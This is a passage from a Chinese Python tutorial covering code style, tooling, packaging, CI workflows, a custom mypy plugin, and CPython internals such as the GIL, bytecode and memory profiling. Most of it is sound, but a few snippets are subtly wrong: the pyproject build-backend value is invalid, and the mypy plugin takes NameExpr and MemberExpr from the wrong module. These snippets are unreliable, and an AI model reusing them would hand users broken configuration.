retries: 5
restart: unless-stopped
redis:
image: redis:7-alpine
container_name: fastapi-redis
volumes:
- redis-data:/data
command: redis-server --appendonly yes --maxmemory 256mb --maxmemory-policy allkeys-lru
restart: unless-stopped
# 可选:Nginx 反向代理
nginx:
image: nginx:alpine
container_name: fastapi-nginx
ports:
- "80:80"
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
depends_on:
- app
restart: unless-stopped
volumes:
mysql-data:
redis-data:
# 一键部署
# docker-compose up -d
# 查看状态
# docker-compose ps
# 查看日志
# docker-compose logs -f app
# 停止服务
# docker-compose down
# 停止并删除数据(慎用!)
# docker-compose down -v
写出能运行的代码只是第一步,写出规范、可维护、可测试的代码才是专业程序员的标准。本章会教你 PEP 8 代码规范、代码检查工具、单元测试和打包发布——这些是把"代码"变成"产品"的关键步骤。
PEP 8 是 Python 官方的代码风格指南。遵循它能让你的代码更易读、更专业。
| 规则 | 正确 | 错误 |
|---|---|---|
| 缩进用 4 空格 | x = 1 | \tx = 1(Tab) |
| 每行不超过 79 字符 | 换行 | 一行写太长 |
| 函数名用 snake_case | get_user_name | getUserName |
| 类名用 PascalCase | UserService | user_service |
| 常量用 UPPER_CASE | MAX_RETRY | maxRetry |
| 运算符两边加空格 | x = 1 + 2 | x=1+2 |
| 逗号后面加空格 | func(a, b, c) | func(a,b,c) |
| 函数之间空两行 | — | — |
| import 放在文件顶部 | — | — |
| 类的方法之间空一行 | — | — |
| 布尔值比较不要用 == | if flag: | if flag == True: |
# PEP 8 命名规范速查
# 变量和函数:snake_case
user_name = "Alice"
def get_user_name():
pass
# 类:PascalCase
class UserService:
pass
# 常量:UPPER_SNAKE_CASE
MAX_RETRY = 3
DATABASE_URL = "sqlite:///app.db"
# 私有成员:单下划线前缀
class Config:
_internal_cache = {} # 约定私有(外部仍可访问)
__secret = "password" # 名称改写(外部无法直接访问)
# 魔法方法:双下划线前后
class MyObj:
def __init__(self): # 构造方法
pass
def __repr__(self): # 字符串表示
pass
不同项目可能依赖同一个库的不同版本。虚拟环境让每个项目拥有独立的依赖,互不干扰。
# ===== venv(Python 内置,最基础)=====
python -m venv .venv # 创建虚拟环境
source .venv/bin/activate # 激活(Linux/macOS)
.venv\Scripts\activate # 激活(Windows)
deactivate # 退出虚拟环境
pip install requests pandas # 安装依赖
pip freeze > requirements.txt # 导出依赖列表
pip install -r requirements.txt # 从文件安装依赖
# ===== Poetry(推荐用于库和包开发)=====
# 安装:curl -sSL https://install.python-poetry.org | python3 -
poetry new my-project # 创建新项目
poetry init # 在已有项目中初始化
poetry add requests pandas # 添加依赖(自动更新 pyproject.toml)
poetry add --group dev pytest # 添加开发依赖
poetry install # 安装所有依赖
poetry run python main.py # 在虚拟环境中运行
poetry shell # 进入虚拟环境 shell
poetry lock # 生成 lock 文件(锁定版本)
# ===== uv(最快,推荐替代 pip)=====
# 安装:curl -LsSf https://astral.sh/uv/install.sh | sh
uv venv # 创建虚拟环境
uv pip install requests # 安装包(比 pip 快 10-100 倍)
uv pip compile requirements.in # 生成锁定的 requirements.txt
uv pip sync requirements.txt # 同步环境(安装/卸载到精确匹配)
# uv 还能管理 Python 版本
uv python install 3.12 # 安装 Python 3.12
uv python list # 列出可用版本
# ===== ruff(全能选手,推荐)=====
# 集成了 flake8 + isort + pyupgrade + autoflake 等几十个工具
pip install ruff
ruff check your_script.py # 检查代码问题
ruff check --fix your_script.py # 自动修复
ruff format your_script.py # 格式化代码(替代 black)
# ruff 配置(pyproject.toml)
[tool.ruff]
line-length = 88 # 每行最大长度
target-version = "py310" # 目标 Python 版本
[tool.ruff.lint]
select = [
"E", # pycodestyle 错误
"F", # pyflakes(未使用的导入等)
"I", # isort(import 排序)
"N", # pep8-naming(命名规范)
"UP", # pyupgrade(代码现代化)
"B", # flake8-bugbear(常见 bug 模式)
]
ignore = ["E501"] # 忽略行长度限制
[tool.ruff.lint.isort]
known-first-party = ["myapp"] # 标记为自己的包
# ===== black(经典格式化工具)=====
pip install black
black your_script.py # 格式化
black --check your_script.py # 只检查不修改(CI 用)
black --diff your_script.py # 显示会改什么
# ===== isort(专门排序 import)=====
pip install isort
isort your_script.py # 自动排序 import
# isort 的排序规则:
# 1. 标准库(os, sys, json)
# 2. 第三方库(requests, pandas)
# 3. 本地模块(myapp.utils)
# 每组之间用空行分隔
# 排序前:
from myapp.utils import helper
import json
import os
import requests
# 排序后:
import json
import os
import requests
from myapp.utils import helper
# ===== mypy(静态类型检查)=====
pip install mypy
mypy your_script.py # 检查类型错误
# mypy 配置(pyproject.toml)
[tool.mypy]
python_version = "3.10"
warn_return_any = true
warn_unused_configs = true
disallow_untyped_defs = true # 函数必须有类型注解
| 工具 | 功能 | 推荐程度 |
|---|---|---|
ruff | 检查 + 格式化 + import 排序(全能) | ⭐⭐⭐⭐⭐ 首选 |
black | 代码格式化(不可配置,"独裁式") | ⭐⭐⭐⭐ |
flake8 | 代码检查(ruff 的替代品) | ⭐⭐⭐ 被 ruff 取代 |
isort | import 排序(ruff 内置) | ⭐⭐⭐ 被 ruff 取代 |
mypy | 静态类型检查 | ⭐⭐⭐⭐ 大型项目推荐 |
pylint | 深度代码分析 | ⭐⭐⭐ 较慢但全面 |
pre-commit 是一个 Git 钩子框架,在 git commit 时自动运行代码检查,不合格的代码无法提交:
# 安装
pip install pre-commit
# 创建配置文件 .pre-commit-config.yaml
repos:
- repo: https://github.com/astral-sh/ruff-pre-commit
rev: v0.4.0
hooks:
- id: ruff # 代码检查
args: [--fix]
- id: ruff-format # 代码格式化
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.6.0
hooks:
- id: trailing-whitespace # 删除行尾空格
- id: end-of-file-fixer # 确保文件以换行结尾
- id: check-yaml # 检查 YAML 语法
- id: check-added-large-files # 防止提交大文件
# 安装钩子
pre-commit install
# 手动对所有文件运行(首次)
pre-commit run --all-files
pytest 的详细用法在第43章已经讲过,这里只做简要回顾和补充:
# 基本测试
def test_add():
assert add(1, 2) == 3
# 参数化测试
@pytest.mark.parametrize("a,b,expected", [
(1, 2, 3), (-1, 1, 0), (0, 0, 0),
])
def test_add_parametrized(a, b, expected):
assert add(a, b) == expected
# 运行测试
# pytest # 运行所有测试
# pytest -v # 详细输出
# pytest -x # 第一个失败就停止
# pytest -k "test_add" # 只运行名字匹配的测试
# pytest --tb=short # 简化错误输出
# pytest 配置(pyproject.toml)
[tool.pytest.ini_options]
testpaths = ["tests"] # 测试目录
python_files = ["test_*.py"] # 测试文件名模式
python_functions = ["test_*"] # 测试函数名模式
addopts = "-v --tb=short" # 默认参数
pyproject.toml 是现代 Python 项目的标准配置文件,取代了 setup.py、setup.cfg、requirements.txt 等多个文件:
# 完整的 pyproject.toml 示例
[build-system]
requires = ["setuptools>=68.0"]
build-backend = "setuptools.backends._legacy:_Backend"
[project]
name = "my-package"
version = "1.0.0"
description = "我的 Python 包"
readme = "README.md"
license = {text = "MIT"}
requires-python = ">=3.10"
authors = [
{name = "张三", email = "zhangsan@example.com"},
]
keywords = ["api", "web", "tool"]
classifiers = [
"Development Status :: 4 - Beta",
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
]
dependencies = [
"requests>=2.28",
"pandas>=2.0",
"pydantic>=2.0",
]
[project.optional-dependencies]
dev = ["pytest", "ruff", "mypy", "pre-commit"]
docs = ["sphinx", "sphinx-rtd-theme"]
[project.scripts]
my-tool = "my_package.cli:main" # 命令行入口
[project.urls]
Homepage = "https://github.com/user/my-package"
Documentation = "https://my-package.readthedocs.io"
# ===== 工具配置 =====
[tool.ruff]
line-length = 88
[tool.ruff.lint]
select = ["E", "F", "I", "N", "UP", "B"]
[tool.mypy]
python_version = "3.10"
disallow_untyped_defs = true
[tool.pytest.ini_options]
testpaths = ["tests"]
addopts = "-v --tb=short"
# 打包步骤
# 1. 安装构建工具
pip install build twine
# 2. 构建(生成 dist/ 目录下的 .tar.gz 和 .whl 文件)
python -m build
# 3. 检查打包结果
twine check dist/*
# 4. 上传到 TestPyPI(先测试)
twine upload --repository testpypi dist/*
# 5. 上传到正式 PyPI
twine upload dist/*
# 项目目录结构
my-package/
├── pyproject.toml # 项目配置
├── README.md # 项目说明
├── LICENSE # 开源协议
├── src/ # 源代码(推荐 src 布局)
│ └── my_package/
│ ├── __init__.py
│ ├── core.py
│ └── cli.py
├── tests/ # 测试代码
│ ├── test_core.py
│ └── test_cli.py
├── docs/ # 文档
└── .pre-commit-config.yaml # pre-commit 配置
# GitHub Actions 配置(.github/workflows/ci.yml)
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
python-version: ["3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Install dependencies
run: |
pip install -e ".[dev]"
- name: Lint with ruff
run: |
ruff check .
ruff format --check .
- name: Type check with mypy
run: |
mypy src/
- name: Test with pytest
run: |
pytest --cov=my_package --cov-report=xml
- name: Upload coverage
uses: codecov/codecov-action@v4
with:
file: ./coverage.xml
# ===== 矩阵测试:同时跑多个 Python 版本 =====
# .github/workflows/ci-advanced.yml
name: CI Advanced
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
strategy:
fail-fast: false # 一个版本失败不影响其他版本
matrix:
python-version: ["3.10", "3.11", "3.12", "3.13"]
os: [ubuntu-latest, macos-latest, windows-latest]
exclude:
- python-version: "3.10"
os: windows-latest # 排除特定组合
include:
- python-version: "3.13"
os: ubuntu-latest
experimental: true # 标记为实验性
runs-on: ${{ matrix.os }}
continue-on-error: ${{ matrix.experimental || false }}
steps:
- uses: actions/checkout@v4
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
# ===== 利用缓存加速 CI =====
- name: Cache pip packages
uses: actions/cache@v4
with:
path: ~/.cache/pip
key: ${{ runner.os }}-pip-${{ hashFiles('**/pyproject.toml') }}
restore-keys: |
${{ runner.os }}-pip-
- name: Cache uv packages
uses: actions/cache@v4
with:
path: ~/.cache/uv
key: ${{ runner.os }}-uv-${{ hashFiles('**/uv.lock') }}
- name: Install dependencies
run: |
pip install uv
uv pip install -e ".[dev]"
- name: Lint
if: matrix.python-version == '3.12' && matrix.os == 'ubuntu-latest'
run: |
ruff check .
ruff format --check .
mypy src/
- name: Test
run: |
pytest --cov=src --cov-report=xml -x
- name: Upload coverage
if: matrix.python-version == '3.12' && matrix.os == 'ubuntu-latest'
uses: codecov/codecov-action@v4
# ===== Docker 缓存加速 CI =====
# .github/workflows/docker.yml
name: Build Docker Image
on:
push:
tags: ['v*']
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Cache Docker layers
uses: actions/cache@v4
with:
path: /tmp/.buildx-cache
key: ${{ runner.os }}-buildx-${{ github.sha }}
restore-keys: |
${{ runner.os }}-buildx-
- name: Build and push
uses: docker/build-push-action@v5
with:
context: .
push: true
tags: |
myapp:latest
myapp:${{ github.ref_name }}
cache-from: type=local,src=/tmp/.buildx-cache
cache-to: type=local,dest=/tmp/.buildx-cache-new,mode=max
# 防止缓存无限增长
- name: Move cache
run: |
rm -rf /tmp/.buildx-cache
mv /tmp/.buildx-cache-new /tmp/.buildx-cache
# ===== 自动发布时生成 Changelog =====
# .github/workflows/release.yml
name: Release
on:
push:
tags: ['v*']
jobs:
release:
runs-on: ubuntu-latest
permissions:
contents: write
id-token: write
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0 # 获取完整 git 历史
- name: Generate Changelog
id: changelog
run: |
# 从上一个 tag 到当前 tag 的 commit 信息
PREV_TAG=$(git tag --sort=-creatordate | sed -n '2p')
CURRENT_TAG=${GITHUB_REF#refs/tags/}
echo "## What's Changed" > CHANGELOG.md
echo "" >> CHANGELOG.md
git log ${PREV_TAG}..${CURRENT_TAG} --pretty=format:"- %s (%h)" >> CHANGELOG.md
echo "" >> CHANGELOG.md
echo "**Full Changelog**: https://github.com/${{ github.repository }}/compare/${PREV_TAG}...${CURRENT_TAG}" >> CHANGELOG.md
- name: Create GitHub Release
uses: softprops/action-gh-release@v2
with:
body_path: CHANGELOG.md
files: dist/*
- name: Publish to PyPI
uses: pypa/gh-action-pypi-publish@release/v1
with:
packages-dir: dist/
# ===== 场景:强制团队在特定业务类上添加 @audit_log 装饰器 =====
# 问题:团队约定所有继承 BaseService 的类必须用 @audit_log 装饰
# 但总有人忘记写。靠 Code Review 发现太慢,不如让 mypy 自动检查。
# mypy 插件(mypy_audit_plugin.py):
from mypy.plugin import Plugin, ClassDefContext
from mypy.plugins.common import add_method_to_class
import mypy.types as types
class AuditLogPlugin(Plugin):
"""自定义 mypy 插件:检查 BaseService 子类是否有 @audit_log"""
def get_base_class_hook(self, fullname: str):
# 当检测到继承自 BaseService 的类时触发
if fullname == 'myapp.services.BaseService':
return self.audit_log_hook
return None
def audit_log_hook(self, ctx: ClassDefContext) -> None:
"""检查是否有 @audit_log 装饰器"""
cls = ctx.cls
# 检查类的装饰器列表
has_audit_log = False
for decorator in cls.decorators:
if isinstance(decorator, types.NameExpr) and decorator.name == 'audit_log':
has_audit_log = True
break
if isinstance(decorator, types.MemberExpr) and decorator.name == 'audit_log':
has_audit_log = True
break
if not has_audit_log:
ctx.api.fail(
f"类 '{cls.name}' 继承自 BaseService,必须添加 @audit_log 装饰器",
cls
)
def plugin(version: str):
return AuditLogPlugin
# ===== 在 mypy 配置中启用插件 =====
# pyproject.toml:
# [tool.mypy]
# plugins = ["mypy_audit_plugin.py"]
# ===== 使用示例 =====
# from myapp.services import audit_log, BaseService
#
# @audit_log # ✅ 正确
# class UserService(BaseService):
# def get_user(self, user_id): ...
#
# class OrderService(BaseService): # ❌ mypy 报错:必须添加 @audit_log 装饰器
# def get_order(self, order_id): ...
# ===== 什么时候需要 Monorepo?=====
# 当你的项目有多个相互依赖的模块时:
# my-company/
# ├── packages/
# │ ├── common/ # 公共库
# │ ├── user-service/ # 用户服务
# │ ├── order-service/ # 订单服务
# │ └── web-frontend/ # 前端
# └── pyproject.toml # 根配置
# ===== 用 workspace 管理多模块 =====
# pyproject.toml(根目录)
"""
[tool.uv.workspace]
members = ["packages/*"]
[tool.uv]
dev-dependencies = [
"pytest>=8.0",
"ruff>=0.8",
]
"""
# 各模块的 pyproject.toml
# packages/common/pyproject.toml:
"""
[project]
name = "my-company-common"
version = "0.1.0"
dependencies = ["pydantic>=2.0"]
"""
# packages/user-service/pyproject.toml:
"""
[project]
name = "my-company-user-service"
version = "0.1.0"
dependencies = [
"my-company-common", # 依赖公共库
"fastapi>=0.100",
]
"""
# ===== 用 pants 或 nx 管理构建(大型 Monorepo)=====
# pants(Python 原生的 Monorepo 构建工具)
# 安装:curl -L -O https://static.pantsbuild.org/setup/pants
# 配置 pants.toml:
"""
[GLOBAL]
pants_version = "2.22.0"
backend_packages = [
"pants.backend.python",
"pants.backend.python.lint.ruff",
]
[python]
interpreter_constraints = [">=3.11"]
[python-infer]
imports = "both"
"""
# 构建特定模块:
# pants test packages/user-service/...
# pants lint packages/common/...
# pants package packages/user-service/
# ===== Monorepo 的 CI 策略:只构建变更的模块 =====
# .github/workflows/monorepo-ci.yml
name: Monorepo CI
on: [push, pull_request]
jobs:
detect-changes:
runs-on: ubuntu-latest
outputs:
common: ${{ steps.changes.outputs.common }}
user-service: ${{ steps.changes.outputs.user-service }}
order-service: ${{ steps.changes.outputs.order-service }}
steps:
- uses: actions/checkout@v4
- uses: dorny/paths-filter@v3
id: changes
with:
filters: |
common:
- 'packages/common/**'
user-service:
- 'packages/user-service/**'
- 'packages/common/**' # 依赖公共库时也要触发
order-service:
- 'packages/order-service/**'
- 'packages/common/**'
test-common:
needs: detect-changes
if: needs.detect-changes.outputs.common == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: cd packages/common && pip install -e ".[dev]" && pytest
test-user-service:
needs: [detect-changes, test-common]
if: |
always() &&
needs.detect-changes.outputs.user-service == 'true' &&
(needs.test-common.result == 'success' || needs.test-common.result == 'skipped')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: cd packages/user-service && pip install -e ".[dev]" && pytest
from module import *,明确导入需要的名字前面 46 章教你"怎么用 Python",本章教你"Python 是怎么工作的"。理解 CPython 的内部机制——对象模型、内存管理、GIL、字节码——是区分"会用"和"精通"的分水岭。掌握这些,你才能写出真正高效的代码,也能在面试中脱颖而出。
Python 中一切皆对象——整数、函数、类、模块,甚至 None 都是对象。每个对象在 CPython 内部都由一个 C 结构体 PyObject 表示:
# 在 CPython 中,每个对象的内存布局大致如下:
# struct PyObject {
# Py_ssize_t ob_refcnt; // 引用计数
# PyTypeObject *ob_type; // 指向类型对象的指针
# };
# 验证:每个对象都有 id(内存地址)和 type
import sys
a = 42
print(id(a)) # 内存地址(整数)
print(type(a)) # <class 'int'>
print(sys.getsizeof(a)) # 28 字节(64位系统)
# 小整数池:-5 到 256 的整数被缓存复用
a = 256
b = 256
print(a is b) # True(同一个对象)
a = 257
b = 257
print(a is b) # False(在交互式环境中,不同对象)
# 字符串驻留(interning):短字符串会被缓存
s1 = "hello"
s2 = "hello"
print(s1 is s2) # True(被驻留了)
s1 = "hello world!"
s2 = "hello world!"
print(s1 is s2) # 可能 False(长字符串不一定驻留)
is 比较的是内存地址(是否是同一个对象),== 比较的是值(是否相等)。对于 None、True、False 这样的单例,始终用 is 判断。
import sys
import gc
# ===== 引用计数 =====
a = [1, 2, 3]
print(sys.getrefcount(a)) # 2(a + getrefcount 的参数)
b = a # 引用计数 +1
print(sys.getrefcount(a)) # 3
del b # 引用计数 -1
print(sys.getrefcount(a)) # 2
# ===== 循环引用 =====
class Node:
def __init__(self, name):
self.name = name
self.ref = None
def __del__(self):
print(f"{self.name} 被回收")
# 创建循环引用
a = Node("A")
b = Node("B")
a.ref = b
b.ref = a
# 即使 del,引用计数不为 0,不会立即回收
del a, b
# 分代回收能检测到循环引用
gc.collect() # 手动触发垃圾回收
# ===== 查看 GC 统计 =====
print(gc.get_count()) # (第0代对象数, 第1代对象数, 第2代对象数),如 (421, 3, 1)
# 注意:gc.get_threshold() 才是返回阈值,如 (700, 10, 10)
# ===== 内存泄漏排查 =====
# 常见原因:
# 1. 全局变量/缓存无限增长
# 2. 闭包捕获了大对象
# 3. __del__ 中的循环引用(Python 3.4+ 已修复)
# 4. C 扩展中的内存泄漏
# 用 tracemalloc 追踪内存分配
import tracemalloc
tracemalloc.start()
# 你的代码
data = [i ** 2 for i in range(100000)]
snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics('lineno')
print("=== 内存分配 Top 5 ===")
for stat in top_stats[:5]:
print(stat)
想象一个只有一个话筒的会议室。同一时刻只有一个人能发言(执行 Python 字节码)。即使有 10 个人(10 个线程),也必须轮流使用话筒。这就是 GIL——它确保同一时刻只有一个线程执行 Python 字节码。
import threading
import time
# ===== GIL 的影响:CPU 密集型任务无法利用多核 =====
counter = 0
def cpu_task(n):
"""CPU 密集型任务"""
global counter
for _ in range(n):
counter += 1
# 单线程
start = time.perf_counter()
cpu_task(10_000_000)
print(f"单线程: {time.perf_counter() - start:.2f}s")
# 多线程(受 GIL 限制,不会更快,甚至更慢)
counter = 0
start = time.perf_counter()
t1 = threading.Thread(target=cpu_task, args=(5_000_000,))
t2 = threading.Thread(target=cpu_task, args=(5_000_000,))
t1.start(); t2.start()
t1.join(); t2.join()
print(f"多线程: {time.perf_counter() - start:.2f}s")
# ===== 解决方案 =====
# 1. IO 密集型:用多线程(GIL 在 IO 等待时会释放)
# 2. CPU 密集型:用多进程(每个进程有独立的 GIL)
# 3. 用 C 扩展(NumPy 等在 C 层释放 GIL)
# 4. Python 3.13+:实验性的 free-threaded 模式(无 GIL)
from multiprocessing import Pool
def cpu_heavy(n):
return sum(i * i for i in range(n))
# 多进程:真正并行
if __name__ == "__main__":
with Pool(4) as pool:
results = pool.map(cpu_heavy, [1_000_000] * 4)
print(f"多进程结果: {sum(results)}")
import dis
import sys
# ===== 查看字节码 =====
def add(a, b):
return a + b
print("=== add 函数的字节码 ===")
dis.dis(add)
# 输出大致如下(Python 3.11+):
# 0 LOAD_FAST 0 (a)
# 2 LOAD_FAST 1 (b)
# 4 BINARY_OP 0 (+) # Python 3.10 及更早版本为 BINARY_ADD
# 6 RETURN_VALUE
# ===== 条件语句的字节码 =====
def check(x):
if x > 0:
return "positive"
return "non-positive"
print("\n=== check 函数的字节码 ===")
dis.dis(check)
# ===== 查看 .pyc 编译文件 =====
# Python 会把源码编译成字节码缓存在 __pycache__/ 目录
# 这样下次导入时不需要重新编译
import py_compile
py_compile.compile('example.py') # 手动编译
# ===== 常量折叠(Constant Folding)=====
# 编译器会自动计算常量表达式
x = 2 * 3 * 7 # 编译时就计算好了,运行时直接用 42
dis.dis(compile('x = 2 * 3 * 7', '', 'exec'))
# ===== peephole 优化 =====
# CPython 会做窥孔优化,比如:
# - 把 True/False/None 替换为 LOAD_CONST
# - 把 "a" in ("a","b","c") 优化为 frozenset 查找
# - 把 0 and x 优化为直接返回 0
import time
import timeit
import cProfile
import pstats
from functools import lru_cache
# ===== 1. timeit:微基准测试 =====
# 测量小段代码的执行时间
t1 = timeit.timeit('sum(range(1000))', number=10000)
t2 = timeit.timeit('s=0\nfor i in range(1000): s+=i', number=10000)
print(f"sum(range): {t1:.4f}s")
print(f"手动循环: {t2:.4f}s")
# ===== 2. cProfile:函数级性能分析 =====
def slow_function():
total = 0
for i in range(100000):
total += i ** 2
return total
def fast_function():
return sum(i ** 2 for i in range(100000))
def main():
for _ in range(10):
slow_function()
for _ in range(10):
fast_function()
# 运行性能分析
cProfile.run('main()', sort='cumulative')
# ===== 3. line_profiler:逐行分析(需安装)=====
# pip install line_profiler
# 在函数上加 @profile 装饰器,然后运行:
# kernprof -l -v script.py
# ===== 4. memory_profiler:内存分析(需安装)=====
# pip install memory_profiler
# @profile 装饰器 + python -m memory_profiler script.py
# ===== 5. 常见优化技巧 =====
# 技巧 1:用局部变量代替全局变量(快 2-3 倍)
import math
def slow():
result = []
for i in range(10000):
result.append(math.sqrt(i))
return result
def fast():
sqrt = math.sqrt # 局部变量缓存
result = []
for i in range(10000):
result.append(sqrt(i))
return result
# 技巧 2:用列表推导代替循环
def slow_append():
result = []
for i in range(10000):
if i % 2 == 0:
result.append(i * 2)
return result
def fast_comp():
return [i * 2 for i in range(10000) if i % 2 == 0]
# 技巧 3:用集合/字典代替列表查找(O(1) vs O(n))
items_list = list(range(10000))
items_set = set(range(10000))
# 以下代码在 IPython/Jupyter 中运行(%timeit 是魔法命令)
# %timeit 9999 in items_list # O(n) 慢
# %timeit 9999 in items_set # O(1) 快
# 在普通 Python 中用 timeit 模块测试:
import timeit
t1 = timeit.timeit('9999 in items_list', globals=globals(), number=100000)
t2 = timeit.timeit('9999 in items_set', globals=globals(), number=100000)
print(f"列表查找: {t1:.4f}s") # 慢
print(f"集合查找: {t2:.4f}s") # 快约 100 倍
# 技巧 4:用 __slots__ 减少内存占用
class PointRegular:
def __init__(self, x, y):
self.x = x
self.y = y
class PointSlots:
__slots__ = ('x', 'y')
def __init__(self, x, y):
self.x = x
self.y = y
p1 = PointRegular(1, 2)
p2 = PointSlots(1, 2)
print(f"普通对象: {sys.getsizeof(p1) + sys.getsizeof(p1.__dict__)} 字节")
print(f"__slots__: {sys.getsizeof(p2)} 字节") # 节省约 40% 内存
# Python 3.13 引入了实验性的 free-threaded 模式(PEP 703)
# 目标:移除 GIL,让多线程真正并行
# 启用方式:安装 free-threaded 版本的 Python
# 或在编译时加 --disable-gil
# 注意:这是实验性特性,需要 C 扩展也支持
# 目前 NumPy、pandas 等正在适配中
# 在无 GIL 模式下,以下代码可以真正并行:
import threading
counter = 0
lock = threading.Lock()
def increment(n):
global counter
for _ in range(n):
with lock: # 无 GIL 模式下必须加锁!
counter += 1
threads = [threading.Thread(target=increment, args=(1_000_000,)) for _ in range(4)]
for t in threads: t.start()
for t in threads: t.join()
print(f"Counter: {counter}") # 4000000(有锁保证正确性)
上面只说了"GIL 限制了多线程",给人一种"多线程完全没用"的错觉。实际上,在某些场景下多线程依然有效——关键在于理解 GIL 什么时候会释放。
# ===== GIL 释放的三种场景 =====
# 场景 1:IO 操作(文件读写、网络请求、数据库查询)
# GIL 在 IO 等待时自动释放,其他线程可以执行
import threading
import time
import httpx
def fetch_url(url: str) -> float:
start = time.perf_counter()
httpx.get(url) # IO 操作,GIL 自动释放
return time.perf_counter() - start
# 多线程并发 IO → 比单线程快得多
urls = ["https://httpbin.org/delay/1"] * 5
# 单线程:5 秒(串行)
start = time.perf_counter()
for url in urls:
fetch_url(url)
print(f"单线程: {time.perf_counter() - start:.1f}s") # ~5s
# 多线程:~1 秒(并发)
start = time.perf_counter()
threads = [threading.Thread(target=fetch_url, args=(url,)) for url in urls]
for t in threads: t.start()
for t in threads: t.join()
print(f"多线程: {time.perf_counter() - start:.1f}s") # ~1s
# 场景 2:NumPy/Pandas 等 C 扩展在计算时释放 GIL
# NumPy 的矩阵运算在 C 层执行,会主动释放 GIL
import numpy as np
import threading
a = np.random.rand(10000, 10000)
b = np.random.rand(10000, 10000)
results = [None, None]
def matrix_multiply(idx, x, y):
results[idx] = np.dot(x, y) # C 层运算,释放 GIL
# 单线程
start = time.perf_counter()
np.dot(a, b)
print(f"单线程矩阵乘法: {time.perf_counter() - start:.2f}s")
# 多线程(NumPy 释放 GIL,可以利用多核!)
start = time.perf_counter()
half_a1, half_a2 = a[:5000], a[5000:]
t1 = threading.Thread(target=matrix_multiply, args=(0, half_a1, b))
t2 = threading.Thread(target=matrix_multiply, args=(1, half_a2, b))
t1.start(); t2.start()
t1.join(); t2.join()
print(f"多线程矩阵乘法: {time.perf_counter() - start:.2f}s") # 接近 2x 加速
# 场景 3:Python 3.13+ free-threaded 模式(实验性)
# 编译时加 --disable-gil,所有 CPU 密集型多线程都能真正并行
# 注意:需要 C 扩展也支持 free-threaded
# ===== multiprocessing + SharedMemory:进程间零拷贝通信 =====
# 传统的 multiprocessing.Queue 有 pickle 序列化开销
# SharedMemory 让多个进程直接访问同一块内存
from multiprocessing import shared_memory
import numpy as np
def producer(shm_name, shape, dtype):
"""生产者:写入共享内存"""
existing_shm = shared_memory.SharedMemory(name=shm_name)
arr = np.ndarray(shape, dtype=dtype, buffer=existing_shm.buf)
arr[:] = np.random.rand(*shape) # 写入数据
existing_shm.close()
def consumer(shm_name, shape, dtype):
"""消费者:读取共享内存(零拷贝)"""
existing_shm = shared_memory.SharedMemory(name=shm_name)
arr = np.ndarray(shape, dtype=dtype, buffer=existing_shm.buf)
result = np.sum(arr) # 直接操作共享内存
existing_shm.close()
return result
# 创建共享内存
shape = (10000, 10000)
dtype = np.float64
shm = shared_memory.SharedMemory(create=True, size=np.prod(shape) * np.dtype(dtype).itemsize)
# 生产者和消费者在不同进程中访问同一块内存
from multiprocessing import Process
p1 = Process(target=producer, args=(shm.name, shape, dtype))
p1.start()
p1.join()
result = consumer(shm.name, shape, dtype)
print(f"共享内存计算结果: {result}")
shm.close()
shm.unlink() # 清理共享内存
# ===== 内存泄漏的常见原因 =====
# 1. 全局列表/字典不断 append,永远不清理
# 2. 闭包持有大对象的引用
# 3. 循环引用 + __del__(Python 3.4+ 已大部分修复)
# 4. C 扩展中的内存泄漏
# ===== tracemalloc:定位哪一行代码分配了最多内存 =====
import tracemalloc
import linecache
tracemalloc.start()
# 模拟内存泄漏
leaky_list = []
for i in range(100000):
leaky_list.append("x" * 1000) # 不断分配内存
# 拍快照
snapshot = tracemalloc.take_snapshot()
# 按文件+行号统计内存分配
print("=== 按行号统计 Top 10 ===")
top_stats = snapshot.statistics('lineno')
for stat in top_stats[:10]:
print(stat)
# 输出示例:
# script.py:15: 85.0 MiB ← 这一行分配了 85MB!
# 按文件统计
print("\n=== 按文件统计 Top 5 ===")
top_stats = snapshot.statistics('filename')
for stat in top_stats[:5]:
print(stat)
# 比较两个快照(找出增量)
tracemalloc.start()
snapshot1 = tracemalloc.take_snapshot()
# 执行一些操作
data = [i ** 2 for i in range(500000)]
snapshot2 = tracemalloc.take_snapshot()
top_stats = snapshot2.compare_to(snapshot1, 'lineno')
print("\n=== 内存增量 Top 5 ===")
for stat in top_stats[:5]:
print(stat)
# 输出示例:
# script.py:20: +4.2 MiB ← 这一行新增了 4.2MB
# ===== objgraph:可视化对象引用关系 =====
# pip install objgraph
import objgraph
# 查看哪些类型的对象最多
print("\n=== 最多的对象类型 ===")
objgraph.show_most_common_types(limit=10)
# 查看新增的对象(找出泄漏的对象类型)
objgraph.show_growth(limit=10)
# 执行一些操作后再次调用
objgraph.show_growth(limit=10)
# 输出示例:
# dict 1500 +500 ← 新增了 500 个 dict,可能是泄漏
# 查找泄漏对象的引用链(最关键的调试手段)
# 假设发现 list 对象不断增长
leaky_objects = objgraph.by_type('list')
if leaky_objects:
# 打印引用链:谁引用了这个对象?
objgraph.show_backrefs(
leaky_objects[-1], # 最后一个 list 对象
max_depth=5,
filename='leak_refs.png' # 生成引用关系图
)
print("已生成引用关系图: leak_refs.png")
# ===== 常见内存泄漏案例 =====
# 案例 1:全局缓存无限增长
_cache = {}
def get_data_bad(key):
if key not in _cache:
_cache[key] = expensive_computation(key) # 永远不清理!
return _cache[key]
# 修复:使用 LRU 缓存(有最大容量)
from functools import lru_cache
@lru_cache(maxsize=1000) # 最多缓存 1000 个,超出自动淘汰
def get_data_good(key):
return expensive_computation(key)
# 案例 2:闭包持有大对象
def create_processor_bad():
big_data = load_huge_dataset() # 1GB 数据
def process(item):
# 闭包引用了 big_data,即使只用了一小部分
